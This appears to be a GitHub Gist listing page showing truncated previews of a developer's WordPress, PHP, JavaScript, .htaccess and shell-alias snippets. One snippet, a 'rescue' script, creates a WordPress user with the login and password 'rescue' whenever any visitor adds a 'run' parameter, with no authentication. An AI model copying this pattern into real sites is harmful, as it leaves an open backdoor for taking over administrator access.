Skip to content

Instantly share code, notes, and snippets.

@Gkiokan
Gkiokan / disable-rest-api.php
Last active July 25, 2018 11:24
WP Disable Rest API
<?php
/*
* Disable WP REST API JSON endpoints if user not logged in
*/
function chuck_disable_rest_endpoints( $access ) {
if( ! is_user_logged_in() ) {
return new WP_Error( 'rest_cannot_access', __( 'Only authenticated users can access the REST API.', 'disable-json-api' ), array( 'status' => rest_authorization_required_code() ) );
}
return $access;
}
@Gkiokan
Gkiokan / add_admin_user_rescue.php
Created May 15, 2018 07:55
Add WP Admin User programmatically (rescue user)
if(isset($_GET['run'])):
include_once './wp-blog-header.php';
$user = get_user_by('login', 'greyd');
if(!$user)
wp_insert_user([
'user_login' => 'rescue',
'user_url' => 'rescue',
'user_pass' => 'rescue',
@Gkiokan
Gkiokan / download_file_from_stream.js
Created May 14, 2018 12:19
JS Download DataStream
let blob = new Blob([this.stream], { type: 'application/csv' } )
let link = document.createElement('a')
link.href = window.URL.createObjectURL(blob)
link.download = this.get_download_name()
link.click()
@Gkiokan
Gkiokan / json-encode-decode-class.php
Created January 8, 2018 10:04
JSON full encode decode with UTF-8 support
/*
Data Class
* * * * * * *
Author: Gkiokan
Comment:
Encode and Decode Your String / Object / Array with utf-8 force.
*/
class Data {
// Encode
<?php
/*
VC Additions file for Extensions
*/
namespace G\VC;
new Fonts;
class Fonts {
@Gkiokan
Gkiokan / .htaccess
Created September 12, 2017 10:58
The WPMS non-www to www but grant access to wp-* problem in htaccess
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^domain\.com$
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !^/wp-admin
RewriteCond %{REQUEST_URI} !^/wp-json
RewriteRule ^(.*)$ http://www.domain.com/$1 [R=301,L]
@Gkiokan
Gkiokan / alias.sh
Last active September 14, 2017 08:23
Alias mapping in terminal
echo " > Loading Aliases "
# Basics
alias ..="cd .."
alias lsa="ls -al"
alias swatch="sass --watch "
alias sfull="sass --watch sass:css --style=compressed"
alias sf="sfull"
alias m="~/.dotfiles/mount.sh"
alias s="source ~/.dotfiles/server.sh"
@Gkiokan
Gkiokan / autoload_funtion_files.php
Created August 25, 2017 11:00
Custom File loader from Array of files with target Dir
<?php
/*
Project: Autoload function files
Author: Gkiokan Sali
Date: 25.08.2017
Comment: Allows you to include_once files from array only.
*/
// Declare the function itself when it is not defined anywhere else
if(!is_callable('autoload_function_files')):
@Gkiokan
Gkiokan / magic_gimmic.js
Created August 23, 2017 13:32
Gimmic Magic Console Game
var magic = {
active : false,
password : 'aaaa79b9a0437a2e461c6803ffdf6a63',
text : [
"888888888888 88 88 88 88 88 ,ad8888ba, 88 88 88 ",
" 88 88 \"\" \"\" 88 88 d8\"' `\"8b 88 \"\" 88 ",
" 88 88,dPPYba, 88 ,adPPYba, 88 ,adPPYba, 88,dPYba,,adPYba, ,adPPYYba, ,adPPYb,88 ,adPPYba, 88,dPPYba, 8b d8 88 88 ,d8 88 ,adPPYba, 88 ,d8 ,adPPYYba, 8b,dPPYba, ",
" 88 88P' \"8a 88 I8[ \"\" 88 I8[ \"\" 88P' \"88\" \"8a \"\" `Y8 a8\" `Y88 a8P_____88 88P' \"8a `8b d8' 88
@Gkiokan
Gkiokan / wp-helpers.php
Created July 10, 2017 09:00
WP Helpers
<?php
/*
Project: WP Helpers for ...
Author: Gkiokan Sali
Date: 10.07.2017
*/
class Helpers {
/*